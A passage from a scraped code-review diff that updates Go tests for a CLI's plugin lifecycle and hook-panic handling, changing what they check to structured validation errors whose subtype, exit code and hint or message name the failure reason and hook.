if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
if rc := exitErr.Detail.Detail.(map[string]any)["reason_code"]; rc != "invalid_rule" {
|
||||
t.Errorf("reason_code = %v, want invalid_rule", rc)
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
// reason_code invalid_rule is folded into the hint, distinct from the
|
||||
// multiple_restrict_plugins conflict path.
|
||||
if !strings.Contains(verr.Hint, "invalid_rule") {
|
||||
t.Errorf("hint should surface reason_code invalid_rule, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -484,19 +500,24 @@ func TestPluginLifecycleGuard_StartupErrorAbortsCLI(t *testing.T) {
|
||||
|
||||
leaf := findRunnableLeaf(root)
|
||||
err := leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "plugin_lifecycle" {
|
||||
t.Errorf("envelope type = %q, want plugin_lifecycle", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
d := exitErr.Detail.Detail.(map[string]any)
|
||||
if d["reason_code"] != "lifecycle_failed" {
|
||||
t.Errorf("reason_code = %v, want lifecycle_failed", d["reason_code"])
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
if d["hook_name"] != "lc.start" {
|
||||
t.Errorf("hook_name = %v, want lc.start", d["hook_name"])
|
||||
// reason_code lifecycle_failed (vs lifecycle_panic) and the failing
|
||||
// hook name are folded into the hint so audit / on-call can tell the
|
||||
// failure mode and which hook failed.
|
||||
if !strings.Contains(verr.Hint, "lifecycle_failed") {
|
||||
t.Errorf("hint should surface reason_code lifecycle_failed, got %q", verr.Hint)
|
||||
}
|
||||
if !strings.Contains(verr.Hint, "lc.start") {
|
||||
t.Errorf("hint should name the failing hook lc.start, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -520,12 +541,20 @@ func TestPluginLifecycleGuard_StartupPanicAbortsCLI(t *testing.T) {
|
||||
}
|
||||
leaf := findRunnableLeaf(root)
|
||||
err := leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) {
|
||||
t.Fatalf("expected *output.ExitError, got %T", err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T", err)
|
||||
}
|
||||
if rc := exitErr.Detail.Detail.(map[string]any)["reason_code"]; rc != "lifecycle_panic" {
|
||||
t.Errorf("reason_code = %v, want lifecycle_panic", rc)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
// A panicking startup hook is distinguished from a returned error by
|
||||
// reason_code lifecycle_panic in the hint.
|
||||
if !strings.Contains(verr.Hint, "lifecycle_panic") {
|
||||
t.Errorf("hint should surface reason_code lifecycle_panic, got %q", verr.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -579,19 +608,24 @@ func TestWrapperPanic_BecomesHookPanicEnvelope(t *testing.T) {
|
||||
}()
|
||||
|
||||
err = leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "hook" {
|
||||
t.Errorf("envelope type = %q, want hook", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
d := exitErr.Detail.Detail.(map[string]any)
|
||||
if d["reason_code"] != "panic" {
|
||||
t.Errorf("reason_code = %v, want panic", d["reason_code"])
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
if d["hook_name"] != "p.boom" {
|
||||
t.Errorf("hook_name = %v, want p.boom (namespaced)", d["hook_name"])
|
||||
// The recovered panic surfaces as a structured error naming the
|
||||
// namespaced hook (p.boom) and describing the panic, so the process
|
||||
// never crashes and the caller can attribute the failure.
|
||||
if !strings.Contains(verr.Message, "p.boom") {
|
||||
t.Errorf("message should name the namespaced hook p.boom, got %q", verr.Message)
|
||||
}
|
||||
if !strings.Contains(verr.Message, "panic") {
|
||||
t.Errorf("message should describe the panic, got %q", verr.Message)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -653,19 +687,24 @@ func TestWrapperFactoryPanic_BecomesHookPanicEnvelope(t *testing.T) {
|
||||
}()
|
||||
|
||||
err = leaf.RunE(leaf, nil)
|
||||
var exitErr *output.ExitError
|
||||
if !errors.As(err, &exitErr) || exitErr.Detail == nil {
|
||||
t.Fatalf("expected *output.ExitError, got %T %+v", err, err)
|
||||
var verr *errs.ValidationError
|
||||
if !errors.As(err, &verr) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T %+v", err, err)
|
||||
}
|
||||
if exitErr.Detail.Type != "hook" {
|
||||
t.Errorf("envelope type = %q, want hook", exitErr.Detail.Type)
|
||||
if verr.Subtype != errs.SubtypeFailedPrecondition {
|
||||
t.Errorf("subtype = %q, want failed_precondition", verr.Subtype)
|
||||
}
|
||||
d := exitErr.Detail.Detail.(map[string]any)
|
||||
if d["reason_code"] != "panic" {
|
||||
t.Errorf("reason_code = %v, want panic", d["reason_code"])
|
||||
if code := output.ExitCodeOf(err); code != output.ExitValidation {
|
||||
t.Errorf("exit code = %d, want %d (ExitValidation)", code, output.ExitValidation)
|
||||
}
|
||||
if d["hook_name"] != "fac.bad-factory" {
|
||||
t.Errorf("hook_name = %v, want fac.bad-factory (namespaced)", d["hook_name"])
|
||||
// A panic in the wrapper FACTORY (not just the inner handler) is
|
||||
// recovered into the same structured panic error, naming the
|
||||
// namespaced hook fac.bad-factory.
|
||||
if !strings.Contains(verr.Message, "fac.bad-factory") {
|
||||
t.Errorf("message should name the namespaced hook fac.bad-factory, got %q", verr.Message)
|
||||
}
|
||||
if !strings.Contains(verr.Message, "panic") {
|
||||
t.Errorf("message should describe the panic, got %q", verr.Message)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user